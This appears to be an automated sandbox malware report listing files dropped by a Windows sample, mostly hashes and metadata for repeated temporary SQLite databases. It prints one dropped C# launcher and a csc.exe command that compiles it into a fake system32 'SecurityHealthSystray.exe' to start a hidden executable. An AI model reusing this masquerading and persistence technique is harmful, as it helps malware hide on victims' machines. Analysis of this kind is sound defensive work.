SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bqW0Bdj4zE

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cR7p87ty24

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cllr76bDV9

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\d1gNKLiwhq

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\d64nr5qKLT

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dCINQHWVtk

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dFJOT4v45u

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dOuvFS3nnQ

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dZ9C9er7iT

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dj33wjwl\dj33wjwl.0.cs

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	419
Entropy (8bit):	5.053341034277848
Encrypted:	false
SSDEEP:	12:V/DNVgtDIbSf+eBLZ7bfiFkMSf+eBLpzh702iFkD:JNVQIbSfhV7TiFkMSfhddwHFkD
MD5:	EE862FB207D2BCDA980304A036B879B2
SHA1:	B004B45F6DAB77A9C1497EB933B157D1F8BDD1F6
SHA-256:	C77090381791724740D74733A26E2EAA5D9CC8F1F7A85668144EA14AA5476060
SHA-512:	86648B23D6335E4FF2FE8F90201B642494E105A874A3A4B81DD5308994517511033F2B2D348305621CC6236A18FA922E1F4645BC3DBC80B8823B8234567C96AA
Malicious:	false
Preview:	.using System.Diagnostics;.using System.Threading;..class Program.{. static void Main(string[] args). {. new Thread(() => { try { Process.Start(@"C:\Windows\system32\SecurityHealthSystray.exe.exe", string.Join(" ", args)); } catch { } }).Start();. new Thread(() => { try { Process.Start(@"C:\Users\All Users\Microsoft OneDrive\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe"); } catch { } }).Start();. }.}.

C:\Users\user\AppData\Local\Temp\dj33wjwl\dj33wjwl.cmdline

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	250
Entropy (8bit):	5.081942173745157
Encrypted:	false
SSDEEP:	6:Hu+H2L//1xRT0T79BzxsjGZxWE8owkn23fdDP:Hu7L//TRq79cQWf5
MD5:	6251C111F184D96EE5ABCD0EA5A04A70
SHA1:	17D214A7DF7F81C7779C917C61A9ABB151ACA375
SHA-256:	BFB88DE09601CDC6C6C91C523389B9ACC15DDCB34FB4227B47B749304A4C260B
SHA-512:	AE745911DCF9772680B52710FA198A550821A48796BCD52E9F3F89FB95D916E0BCE3FF598858C0024F62090FFC6E5C799F6B2662EB34D494901A7803496E3E07
Malicious:	true
Preview:	./t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Windows\system32\SecurityHealthSystray.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\dj33wjwl\dj33wjwl.0.cs"

C:\Users\user\AppData\Local\Temp\dj33wjwl\dj33wjwl.out

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (329), with CRLF, CR line terminators
Category:	modified
Size (bytes):	750
Entropy (8bit):	5.26617382198955
Encrypted:	false
SSDEEP:	12:KJN/I/u7L//TRq79cQWf8KaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:KJBI/un/Vq79tWf8Kax5DqBVKVrdFAMb
MD5:	6F5F8E99DA4679F8759E4F7A8BFD3E1E
SHA1:	F7E99629FD049BD3BC36060A59C0BE07042408E2
SHA-256:	9D00B17F81A0959F7A0FF80522D47465A491EECE720A477FBB9825F77AEB2AB1
SHA-512:	1EAFEE2CD00DB491195A2D884457256B9A64E93802F5F2867DC96C915E02F14C402A9AE095F822A03EA2DF5576649384EAAFE36B8260841134A21B5F71E92093
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Windows\system32\SecurityHealthSystray.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\dj33wjwl\dj33wjwl.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\dp2DMVTiY2

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\e50E9jDFSF

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fYzC3MsFcM

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fc3Up9O8SP

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fkIdDjvsFt

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fuel4CVPJx

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fxCyx1Cx5C

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gCXdeTWKvv

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gvU5REE85c

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gz0DRBOql6

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\h1rLzZPIbe

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hBYmPiDMOi

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\iONlmigzB2

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\iRBcJ5ci7f

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
